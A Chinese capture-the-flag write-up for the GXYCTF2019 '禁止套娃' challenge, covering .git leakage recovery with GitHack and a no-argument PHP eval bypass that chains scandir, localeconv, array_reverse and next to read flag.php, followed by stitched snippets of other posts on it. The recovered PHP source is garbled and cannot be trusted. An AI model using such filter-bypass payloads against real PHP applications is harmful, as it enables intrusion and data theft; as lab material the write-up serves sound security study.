GXYCTF2019 禁止套娃

2021-10-09 18:37:02 字數 2022 閱讀 8023

剛開始不知道幹嘛,就註冊做題思路,掃目錄,抓包,都沒上面思路,後面嘗試了下,.git 洩露用githack掃一下

githack.py
得到index.php

<?php

include

"flag.php"

;echo

"flag在**呢?";

if(isset

($_get

['exp'])

)else

}else

}else

}// highlight_file(__file__);

?>

就是用三個正則做了過濾:

第乙個:過濾了php偽協議php://data://filter://pahr://

第二個:

if

(';'

===preg_replace

('/[a-z,_]+\((?r)?\)/'

,null

,$_get

['exp'])

){

preg_replace正則替換,\((?r)?\)表示遞迴執行前面的正則,這個正則就是,迴圈吧小寫字母,()_替換為空, if判斷是不是只留下了;

第三個:過濾了/et、na、indo等一些命令執行關鍵字

繞過上面上個正則就可以@eval($_get['exp']);通過這個做乙個命令執行

一步一步來,先看看當前資料夾下面有啥

1、print_r(scandir(』.』));,但是這樣顧慮下來還會留下』.'首頁要換乙個東西替換這個.

print_r(scandir(current(localeconv())));

print_r(scandir(pos(localeconv())));

localeconv() 函式返回一包含本地數字及貨幣格式資訊的陣列。而陣列第一項就是.

current() 返回陣列中的當前單元, 預設取第乙個值。

pos() current() 的別名。

子要這樣組合就把這個.變成了全是小寫字母和括號

返回了

array([

0]=>.[

1]=>..

[2]=

>

.git [3]

=> flag.php [4]

=> index.php )

2、我們已經把問價名都拿到了,那我們不是只要讀到倒數第二個flag.php就好了,正常是highlight_file("flag.php");這樣的,但是這樣就過不了第二個正規表示式,那我們就嘗試讀陣列的第三個,第乙個想到是的是next但是next不能多層巢狀,乙個next只能讀到第二個,那麼是不是把陣列倒序排列就好了

array_reverse()

語法

array_reverse(array,preserve)
引數

描述array

必需。規定陣列。

preserve

可選。規定是否保留原始陣列的鍵名。這個引數是 php 4.0.3 中新加的。可能的值:truefalse

技術細節

返回值:

返回反轉後的陣列。

php 版本:

4+更新日誌:

在 php 4.0.3 中新增了 preserve 引數。

那網頁我們的payload就出來了:highlight_file(next(array_reverse(scandir(pos(localeconv())))));

**林某某本人部落格

GXYCTF2019 禁止套娃 WP

用githack.py跑一下得到原始碼index.php include flag.php echo flag在 呢?if isset get exp else else else highlight file file 其中有三個過濾,第乙個過濾了常見的php偽協議。第二個這種正則,就是我們說的無...

刷題 GXYCTF2019 禁止套娃

開啟 發現很簡單,只有flag在 的字樣。檢視原始碼,常用後台目錄,robots.txt,都未發現有任何東西。直接拉進掃瞄器一掃,發現 思考可能是git原始碼洩露,可能可以恢復原始碼。github上有很多優秀的git恢復工具。在這裡推薦兩款 git extract 和githack。都支援diffe...

GXYCTF2019 禁止套娃 無引數RCE

復現一下buuctf上的 gxyctf2019 禁止套娃 buuctf增設了waf 所以fuzz都不能用了.git洩露,不知道為啥我的githack掃不到呢?頭大 echo flag在 呢?if isset get exp else else else highlight file file 先熟悉...